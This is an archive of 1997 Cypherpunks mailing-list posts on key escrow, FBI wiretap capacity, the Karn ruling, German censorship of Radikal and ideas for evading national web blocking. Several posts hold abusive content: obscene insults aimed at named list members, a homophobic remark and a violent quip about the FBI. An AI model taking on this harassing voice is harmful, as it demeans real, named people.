  > He also mis-states opponenents of GAK positions, claimingthe 
  > criticism is that "key escrow [at least he doesn't call it key 
  > recovery] won't work all the time", ignoring anti-GAK mentions of 
  > COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.

Actually, I thought he summed up the anti-GAK positions reasonably well,
though he didn't elaborate on them. The "it may not work all the time"
statement was actually an admission of the pro-GAK side. 

  > And the usual nonsense about "every day that criminal messages can
be 
  > heard is a gain" w/out noting that anyone smart enough to use crypto
  > now will not use it if GAK is fully implemented.

I found the logic questionable, but more disturbing was the fundamental
position that "loss of privacy [...] is a price that must be paid to
gain security".  Benjamin Franklin's statement about security and
freedom comes strongly to mind when I hear nonsense like this.  He then
cites the (in "our" view, useless and intrusive) hassles that airline
passengers must endure in the name of "security" as justification for
more of the same!  Talk about a slippery slope! 

  > Newsday is part of the LA Times Syndicate, so member papers may also
  > have the same viewpoint appearing in their pages within the next 
  > couple of days.

  > Their website is http://www.newsday.com ... I don't know if the 
  > viewpoint is on-line there.

It is, at http://www.newsday.com/mainnews/rnmi0522.htm

Pretty disappointing stuff, but then Mr. Kahn IS affiliated with the NSA
these days, isn't he?

Tunny
======================================================================
 James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
 Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
 tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
======================================================================
-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
Comment: which I won in the PGP raffle at Cypherpunks 12/96...

iQEVAgUBMuZ1UvAmQsmyRPddAQFO/gf+Ikw8GScPo/+lr00lKvTnF7dZdEYhE8GC
bt7wu96a/4mE81261EwxqA8voI/y5T3RsUfZLeYsGX+wkuPyqK1QImO3A7O8PNnb
AvFitSaNsrMqyKTa7mI63TrvoBDCqtN3vYdDeSl6ZPHJmhHO5MF6xVoA56yeF5xf
h0ooejTgeYMOGMhf2faRCKU31AdFB+pjozxMo83X2ZrCzga8wiHeqlEEKWQnu1cJ
3jc+TVZnEI95idbQqeHvxh/BBRdprrPxBfncCb8wnXuLHxPmrsWGqfvMDpS06qhl
ZWEFChYLDGwsMokvcY+ZOZ6x4jlwssFGDXpflcdjFnPBp3yJKjU7fA==
=/siB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 22 Jan 1997 10:33:12 -0800 (PST)
To: rwright@adnetsol.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <01IEII3EZEGW9AMSD7@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rwright@adnetsol.com"  "Ross Wright" 22-JAN-1997 02:52:34.76

>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical 
>numbers of intercepts.

[...]

>[8]  <http://www.cdt.org/publications/pp_3.01.html>

	Something that the CDT didn't point out was that basing wiretap
"requirements" on past growth makes two assumptions, both of them invalid:

A. Past wiretaps (& other probes, such as pen registers & tap-and-trace) were
all entirely justified; the growth in their use does not reflect either
use of them in situations they are not required for or use of them in
situations in which government has essentially failed and more resources
poured into the alleged "problems" (e.g., drug trafficing, money laundering,
and pornography) will do less than no good whatsoever.

B. The number of lines will go up at the same rate as the estimated growth
in wiretaps. In regards to this latter one, if they go up at a greater rate,
then the FBI will request expanded capacity; if they go up at a lower rate,
they will assuredly not request a decrease, and will thus ultimately have
the capablility to wiretap _all_ lines.

>Fuck the FBI.

	With a backhoe.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 12:01:53 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <199701212016.MAA11119@toad.com>
Message-ID: <199701222018.OAA01933@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Hallam-baker said:
> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...
> 
> > GSM encrypts only the links to the station - the traffic goes in the
> > clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> > weak, 40 bits of effective key space.
> > 
> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons, first there is a big difference between having
> poor locks and no locks. Most locks can be picked by an expert, they are
> effective against many theifs however.
> 
> Second if everyone in the world was using 40 bit email encryption it
> would prevent most of the "promiscuous" interception of communications.

    Third (as Mr. Vulis <insult deleted> observed) the jump from using poor 
crypto to using good crypto is a lot shorter than not using crypto to 
using good crypto. 

    Once people get it in there heads that crypto is good to use, then 
it is easier to convince them to use "unbreakable" crypto than to convince 
non-crypto-users.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 12:36:59 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701211455.GAA06825@toad.com>
Message-ID: <199701222053.OAA02022@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Sprach The Thorn:
> Jane Jefferson wrote:
> Jane is showing signs of independent thought.  Tsk tsk.
> > fail, countries would instantly be absorbed by other countries, many
> > relationships based on love and trust would be destroyed.
> > And during that time, the deadliest person alive - the toughest and
> > the meanest, and the most effective in the face of all the chaos, would
> > not be the person who was capable of preserving their privacy. Rather,
> > it would be the one who was capable of surviving in it's complete absence.
> BTW, the suicide rate would not go ballistic, since the suicide rate

    No, but I bet the murder rate would.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 22 Jan 1997 11:57:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701212027.MAA11310@toad.com>
Message-ID: <0mtb33200YUd0E_bM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> Mission:
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it? The Web
> was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.
> 
> 
> Requirements:
> 
> A scheme which makes blocking of individual IP addresses 
> impractical.
<snip>
> Considerations:
> [i.e. areas needing brainstorming]
> 
> 1) Copyright. Clearly copyright holders such as CNN etc would
> need to be involved. Although proxies have long been a part of 
> the Web and the scheme does not threaten their interests it would
> be as well to get them on board at an early stage.

I believe that the new copyright regs explicitly allow web surfing.
Copyright should not be an issue, I think. IANAL.

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.
> 
> 2b) Use DHCP to change network addresses regularly.
> 
> 2c) Some crypto hack I can't quite work out (hence the post to
> cypher punks). I can phrase the challenge more compactly though.
> We have two sets of opposed groups A and M. The A group wish to
> establish a continued conversation with groups B and C. M is 
> willing to permit communication with group B but not C. Whenever
> M discovers that a member of group B is willing to act on behalf 
> of group C, M transfers that member to the C group.
> 
> The problem is to keep A's channels of communication open despite
> the efforts of M for very large group sizes. 
> 
> I'm not sure if this is a pure crypto challenge or a game theory
> problem.

Secure connections from proxy to client would eliminate driftnet
scanning. That's probably about all the crypto.
One idea would to put /cgi-bin/redirect in all the distributions of
apache, apache-SSL, etc. That way, anyone who cared at all about
privacy or was clueless would have an anonymizer on their web server.
People who really cared could run web spiders that looked for sites
with the redirect, and have cgi-bins that returned a randomized list
of 10 or so. They could periodically post the list to semi-relavent
newsgroups.

The idea here is to reduce the chance of a denial of service attack
against the anonymizer pool. The points of attack that I can think of
are:
 1) Filter out out anonymized connections.
    Crypto helps solves this one. Of course, then the evil empire
    filters out crypto, but that's bad for business.
 2) Make the list of anonymizers dissappear
    This is a bit easier for the bad guys. Stego could help solve
    the problem, especially if combined with crypto. (i.e stego
    the list, encrypted with a few key underground folks public
    keys, into a pic of the great wall of china or something.
 3) Make it illegal to use anonymizers and enforec randomly.
    FUD. I dunno how to solve this one. Put anphetamines in the
    water supply?

> Comments? If people are willing to work on this I can provide 
> some facilities and act as a media contact.

Distribution wins.
(BTW, look at www.anonymizer.com)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

iQB1AwUBMuZwuMkz/YzIV3P5AQEb5gL/aOgddVJ91jtZUPrDcsnqdhOFpKLx1IAH
UMZi+HkdB+ZUsRhLxCSy0enpqxikwyFVOMINSr3uLRtYSIcuPK2JFdSACI79yISk
7oZWxwTO5TDMYtbBRAAZv/d9VyCT/EVE
=OIEP
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 12:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <3.0.32.19970122152635.00a76270@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It might also be that David's year long sabatical at NSA's crypto museum 
which recently ended put him in touch with people who believe in GAK.

I found it interesting that he noted the argument that each additional
day of government access is a good thing.  This is the kind of belief
we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
it publicly admitted before.

 - Carl

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuZ35lQXJENzYr45AQEcfwQAqMftG0DXn1nr6faA6IHeAtqSXYanwnZb
DiwqppU4nJqPtIvtFw8eOVVwyYCzIv046dFtwR2mk8HeL1v8I3R2sWm7waknFjlm
TM84+vLamlVnBNPUAXRYOrFiEhPQm/iitR4GVrcga9mHJ+vrI38XQGzi0lxdg310
pWjq5Fxahag=
=xhF7
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 22 Jan 1997 13:43:33 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Manila says ID system not prelude to martial law (fwd)
Message-ID: <199701222143.QAA21639@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Reuters sez:
Message-ID: <Rphilippines-cardUR8Au_7JF@clari.net>

  	  				 
	 MANILA, Jan 15 (Reuter) - Philippine President Fidel Ramos  
on Wednesday dismissed as baseless fears that his order creating 
a national identification system was a prelude to martial law. 

	 ``That is a wild opinion without any basis in fact,'' Ramos  
told his weekly news conference after Cardinal Jaime Sin, the 
outspoken Archbishop of Manila, accused him of being 
authoritarian. 

{We're talking, therefore it's no threat..}

{Sin said it's immoral}  

{Opposition said could be used to monitor political activities,
that it was reminiscent of Marcos.}

	 Officials have said a computerised ID system whereby cards  
issued to citizens by state pension funds would carry reference 
numbers assigned to them for life would make it easier for 
people to transact business with the government and minimise 
fraud. 
	 ``That's all there is to it ... (its) very simple,'' Ramos  
said. 
  	   	


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Wed, 22 Jan 1997 15:00:28 -0800 (PST)
To: dccp@eff.org
Subject: Decision in Karn Case
Message-ID: <v03010d0daf0c4a51d120@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain


We just received this today. This is in part good news that the appeals
court did not just affirm the lower court decision but on the other hand,
it doesn't give much guidance to the court.

A html version is up at:
http://www.epic.org/crypto/export_controls/karn_decision_1_97.html

Dave



-----------------------------------------------------------

             UNITED STATES COURT OF APPEALS

          FOR THE DISTRICT OF COLUMBIA CIRCUIT


No. 96-5121

Philip R. Karn, Jr.
   v.
U.S. Department of State

        On Appeal from the United States District Court
                 for the District of Columbia

    Before: Williams, Ginsburg, and Rogers, Circuit Judges

                     January 21, 1997

                         JUDGMENT

     In light of the recent Executive Order transferring
regulatory authority of non-military cryptographic computer
source code to the Commerce Department, and the Commerce
Department's promulgation of a new regulation under the authority
of the International Emergency Economic Powers Act, 50 U.S.C. secs.
1701 et seq., we remand this case to the district court to
consider the reviewability of and, if appropriate, the merits of
appellant's claim under the Administrative Procedure Act.
Because "basic tenets of judicial restraint and separation of
powers call upon [the court] first to consider alternative
grounds for resolution" when the court is asked to answer a
question involving the Constitution of the United States,
Lamprecht v. FCC, 958 F.2d 382, 389-90 (D.C. Cir. 1992), we
do not reach the constitutional issues raised by this appeal.

     The clerk is directed to withhold issuance of the mandate
herein until seven days after disposition of any timely petition
for rehearing. See D.C. Cir. Rule 41(a)(2). This instruction to
the Clerk is without prejudice to the right of any party at any
time to move for expedited issuance of the mandate for a good cause
shown.


                               Per Curiam
                               FOR THE COURT:

                                 /s/
                               Mark J. Langer, Clerk


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 22 Jan 1997 09:23:57 -0800 (PST)
To: tank@xs4all.nl
Subject: wired news: Germany Gets Radikal About Extremists on Web
Message-ID: <199701221716.SAA20795@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



T O P  S T O R I E S 

       Germany Gets Radikal About Extremists on Web Tuesday - Are the
       German government's tactics for barring extremist material on
       the Internet realistic?


   Germany Gets Radikal About Extremists on Web
   by Rebecca Vesely
   
   5:03 pm PST 21 Jan 97 - The German government, never shy about
   expressing its disdain for left- and right-wing radicals inside its
   borders, has taken to combing the Internet for signs of extremist
   activity.
   
   But Germany's effort to stop the distribution of terrorist manuals and
   Nazi propaganda is like pointing a fire hose at a beehive - instead of
   quashing the bees, it only scatters them, and makes them more
   insistent.
   
   Last week, German authorities filed charges against a member of the
   communist Party of Democratic Socialism (PDS), Angela Marquardt, for
   linking to the banned left-wing magazine Radikal from her homepage,
   causing Net activists to anticipate another incident like that last
   September, when several German ISPs temporarily blocked Radikal's
   server, XS4All. In response, the magazine was mirrored on more than 50
   Web sites around the world.
   
   "The decision to prosecute for linking to Radikal will probably bring
   yet another escalation of events, where this censored magazine will
   become all the more popular on the Net," said Felipe Rodriquez,
   managing director of XS4All, which is based in the Netherlands.
   "Censoring the Internet is usually very counterproductive, and an
   insurance that many people will mirror the information and start
   distributing it."
   
   XS4All, which describes itself as "networking for the masses," hosts
   some 4,600 homepages, and was recently in the news for posting several
   homepages for media banned in Serbia, such as Radio B92, that continue
   to offer via the Web live RealAudio feeds and frequent updates on the
   continued nationwide protests against the Serbian government.
   
   Banned in Germany 12 years ago, and published underground for the past
   decade, Radikal advocates the overthrow of the German government.
   German officials say the magazine's publishers provide terrorist
   information in their pages, including how to sabotage train lines. But
   the publishers argue that they have the right to publish material
   contrary to the German government.
   
   "We fundamentally reject the notion that the state has a monopoly on
   the legitimate use of force," the publishers wrote in an article
   titled "Who We Are" in 1995. "The existing social conditions can only
   be changed if left-radical groups and associations build up their
   abilities and structures so as to be able to counter some of these
   effects even today. This, of course, includes militant and armed
   intervention, but these would be empty gestures if there wasn't also
   some sort of linkage or means of conveying their message."
   
   While publishers continue to produce the magazine in print form
   outside of Germany, sympathizers have been posting it to a homepage on
   XS4All.
   
   "As an act of solidarity with them and with Radikal we decided to put
   it on the Internet and, of course, to frustrate this censorship
   attempt of the German authorities," the sympathizers wrote in an email
   to Wired News. They added that while they had no contact with the
   publishers of Radikal, they are currently being investigated by
   Germany's public prosecutor general and have no plans to "go on
   holiday in Germany."
   
   Although Radikal is not banned in the Netherlands, the German
   government says that linking to the magazine from inside Germany is
   "aiding a felony," spokesman Ruediger Reiff told Reuters. In December,
   Chancellor Helmut Kohl's Cabinet approved a bill banning the
   electronic distribution of forms of hate speech, terrorism, and
   indecent material. The new German law places responsibility on the
   loosely defined "suppliers," and in response, CompuServe considered
   moving its administrative operations to a neighboring country.
   
   PDS member Marquardt says her prosecution has less to do with Radikal,
   than an attempt to quiet German citizens who, like herself, are
   outspoken critics of the government.
   
   "This is hardly about bomb-building instructions or highly detailed
   descriptions of train lines and their weaknesses," Marquardt, who
   could not be reached for comment, wrote in a statement posted on her
   Web site. "The all-too-stubborn guardians of the state will quickly
   learn: The Net interprets censorship as a malfunction and circumvents
   it."
   
   In the meantime, XS4All has not received any official communication
   from the German Justice Department, nor from the Dutch Justice
   Department.
   
   "Our policy is that as a provider we are not in the position to judge
   whether this magazine is illegal in the Netherlands, therefore we do
   not interfere with the liberty of speech of our user," XS4All's
   Rodriquez said.
   
   
   
   
        Copyright =A9 1993-97 Wired Ventures, Inc. and affiliated companies=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 22 Jan 1997 16:31:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
In-Reply-To: <13Hy1D105w165w@bwalk.dm.com>
Message-ID: <199701230025.SAA05664@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > 	Would you like to share my blanket?
> > > Sure!  A true gentleman (like me) is always ready, willing, and able
> > 	I am very embarassed...
> > 	i think i am in trouble ;)
> 
> We better start encrypting stuff before we both get in trouble with Dr.MLV :-)

you mean, your mai lreading computer is physically secured?

> This reminds me of a story of one Sovok biology professor in Illinois.
> His wife got a boyfriend. In addition to having real-life sex, they also
> exchanged sexually explicit e-mail on AOL which she thought she erased.
> One day something went wrong with her computer and she asked the husband
> to fix it. He looked at the hard disk with Norton Utilities and saw 6
> months worth the erased e-mail, saying things like "I can still taste
> your whatever on my lips". Of course all the traffic was in Russian and
> it would have served as a "Navajo talk" encryption if it weren't for
> the fact that all 3 were Sovoks. 

Purebred? Just curious.

> The professor kicked the wife out, but
> her boyfriend is married, so she's all alone now.
> 
> This proves that the masses of normal heterosexuals should be educated
> and encouraged to use encryption, not just some homosexual "elite".

The problem is that one of the partners is often too stupid to use PGP.

That is very annoying. Not that any of the contents of my hard disk
are that sensitive, but under linux I run my wipedisk program two times
every night. just another cron job.

But think about this: suppose there is a couple, bob@household.com,
and alice@household.com. Suppose that Rev. Mallory does not like bob.
Mallory forges a lot of emails like "I can still taste your sperm
on my lips", that appear to originate from Cindy@phonesex.org.

Then, promptly, Mallory sends an anonymous alert to alice@household.com, 
warning her about naughty email activities of bob. Alice gets mad at him
and divorces him.

How would bob protect himself against such developments?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 16:02:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701220355.TAA17584@toad.com>
Message-ID: <13Hy1D105w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
> On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > >
> > > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > >
> > > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > > >
> > > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > > >
> > > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > > > I say we make people fly naked and ship their stuff via U
> > > > > > > >
> > > > > > > > > >     >>shudder<<
> > > > > > > > > >     No!. A clear case of the cure being worse than the dise
> > > > > > > >
> > > > > > > > > Why. it might be fun - those long flight can be so boring wit
> > > > > > > >
> > > > > > > > This one I really don't understand.  Cypherpunks lobbied heavil
> > > > > > > > the Final Solution to Spamming and flaming, now along comes the
> > > > > > > > solution to the airport security problem, and nobody's gonna go
> > > > > > > >
> > > > > > > > Guess those old, out-of-shape guys don't want anybody laughing
> > > > > > > > Besides, they can put all the clothes in the same plane's bagga
> > > > > > > > compartment.  And planes have those little blankets and pillows
> > > > > > > > so what's the problem?
> > > > > > >
> > > > > > > 	Cold temps...
> > > > > >
> > > > > > What can naked people do to keep warm???
> > > > >
> > > > > 	steal blankets from nearby passenger..
> > > >
> > > > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > > > and everybody was supposed to work naked so it would be hard to steal
> > > > some of the product. Of course in the movie all the employees were good
> > > > looking women (Oksas would have been the big star!).
> > >
> > > 	Thank you for the complement;  You've only seen me with clothes :)
> >
> > I can tell.
> >
> > > 	Would you like to share my blanket?
> >
> > Sure!  A true gentleman (like me) is always ready, willing, and able to sha
> > a security blanket with a lady.
>
> 	I am very embarassed...
> >
> > "Something nekkid's in the air!"
> >
> 	i think i am in trouble ;)

We better start encrypting stuff before we both get in trouble with Dr.MLV :-)

This reminds me of a story of one Sovok biology professor in Illinois.
His wife got a boyfriend. In addition to having real-life sex, they also
exchanged sexually explicit e-mail on AOL which she thought she erased.
One day something went wrong with her computer and she asked the husband
to fix it. He looked at the hard disk with Norton Utilities and saw 6
months worth the erased e-mail, saying things like "I can still taste
your whatever on my lips". Of course all the traffic was in Russian and
it would have served as a "Navajo talk" encryption if it weren't for
the fact that all 3 were Sovoks. The professor kicked the wife out, but
her boyfriend is married, so she's all alone now.

This proves that the masses of normal heterosexuals should be educated
and encouraged to use encryption, not just some homosexual "elite".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 22 Jan 1997 18:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <199701230219.TAA01249@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] May was born when his mother was
on the toilet.

   \\\|||///
    =======
   | O : O | Timmy C[unt] May
    \`_^_'/
     _|^|_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:01:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fascist cocksuckers: 0, Freedom of speech: 1
In-Reply-To: <199701221210.EAA23235@toad.com>
Message-ID: <qLky1D107w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic <ott0matic@hotmail.com> writes:
> >> John Young wrote:
> >> >  Governments in China, Burma and
> >> >  Singapore have already tried to discipline this on-line activity with
> >> >  minimal success.
> >>
> >>   Do you have any pointers to information in regard to this, or are you
> >> just being a goddamn tease?
> >
> >For example, the fascist cocksuckers Sandfart and Geekmore have been
> >totally impotent in their failed attempts to suppress free speech.
> >
> >Gilmore's as inept as the governments of China, Burma and Singapore combined
> >
> >        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).
> >
> >---
> >
>
> Seems as if you've been censored!  Bummer, dude!

Yes.  I'm sure Sandy Sandfart is having a good time censoring his betters.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:01:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701221225.EAA23456@toad.com>
Message-ID: <ePky1D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic <ott0matic@hotmail.com> writes:

> >From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997
>
> >"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> >
> >> Mission:
> >>
> >> Singapore and China are blocking certain net groups. I think
> >> this is a bad thing, question is how can we stop it? The Web
> >> was conceived as offering despots and dictators a choice
> >> between remaining in the dark ages and allowing freedom of
> >> speech. Blocking and filtering schemes threaten this ideal.
> >
> >Phil, when I saw the subject, I thought this was another article
> >condemning Gilmore, Sandfort, and their disgraceful censorship.
>
> What's up with this one getting censored?  You didn't say cocksucker or fuck
> anything?

Alles Kriticismus auf der Listfuehrer Gilmore und Obercensor Sandfart
ist stricklich verbotten.  Heil Kocksucker Gilmore!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 22 Jan 1997 17:33:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230140.TAA08628@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Jan 1997 03:16:00 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate wrote:
> > 'We' shouldn't, it is their own country and it is up to their populace to
> > stop it. Do you really want Singapore or China having a say in how we run
> > our web? I certainly don't, and won't support any move to force any
> > particular view on them.
> 
>   And Germany was Hitler and the Nazi Party's own country.

And your point is? Are you equating a specific individual or organization
with Hitler or the National Socialist?

>   Do you really want Clinton and GingWretch having a say in how we run
> our

No, and I have a vote to express that sentiment with and a 'press' (ssz.com)
by which I may express my views irrelevant of how that vote may resolve
itself. If the people in those counties want to give away their freedom that
is their business (and right), not mine, yours, or this countries unless
there is evidence they are trying to take their views and impose them here.

Do you have said evidence? In reference to Hitler, had he stayed in his own 
country WWII and the ensuing half century of conflict would most likely not
have occured.

I say, let them filter themselves into economic collapse, intellectual
nihilism, and political suicide. Suicide, assissted or otherwise, is a right
any and all individuals have whether acting as individuals or as groups.
Remember Masada!

Never forget, a tree can exist without a forest but a forest can not exist
without trees. It is a one way street however much some people may want to
convince us otherwise.

>   It may be 'their' country ('their' being the government), but it is 
> 'their' world ('their' being the people).

A goverment is people. This reminds me of the argument of the sanctity of
law that so many people have. It is only ink on paper that people agree to
go along with until they get their fill. Consider, history is full of
examples of this process and with California and Massachusettes move on
legalizing medical marijuana we may be seeing the first move of a return to
states being much more adament on what they can and can't do (per the 9th and
10th).

> There was a reason that the 
> Western powers didn't return East Germans who broke the laws of their
> country by climbing over the wall and running for freedom.
>   Making information available does not 'force' a view on anyone.

If those people agree to support a system that limits or controls what
information they get to see that is their choice. It didn't work in Russia
and it won't work in Singapore or China any better. If the US were to
continue to press forward on oppressive legislation and the people don't do
anything actively to fight it the same thing will happen here, economic
collapse which forces a political collapse. However, we won't get there
because the more the government employees and officials 'crack down' the
more resistance they will get. You can fool most of the people some of the
time, some of the people most of the time, but you can't fool all the people
all the time.

The key to democratic success is not compromise but rather the unwillingness
to compromise.

> > Bull, the web was conceived so physicist and other researchers could share
> > data in a easily digestible format. 
> 
>   No. The internet was conceived so that the DOD could monitor the
> communications
> of physicists and researchers who thought it was awfully nice of the
> government
> to provide this wonderful method of sharing data and information.

The Web does not equal the Internet, straw man argument. The original goal
of the Internet was to allow computers to be connected in a nuclear conflict
and the period afterward when communications would be most critical. How
people may have bastardized it since then does not change the original
reasons (unless you accept revisionist history as a valid endeavour, I don't).

One of the biggest problems this country has right now is the inability of
people like yourself to differentiate the difference between the ideals of
the country and the people who impliment it. The problem is not the
government or the ideals it was founded on but rather the way we impliment
it. Our government is people, who put their pants on the same way you or I
do (assuming you wear pants that is). They are not inherently some mineon of
Hell, they are people who in general either don't give a damn and it's just
a job or else they really believe what they are doing. Our government is NOT
some ideal or non-real entity, despite how many citizens may rail about it in 
that manner. It just don't make it so.

Accept and deal with your schizophrenic tendencies and help solve this
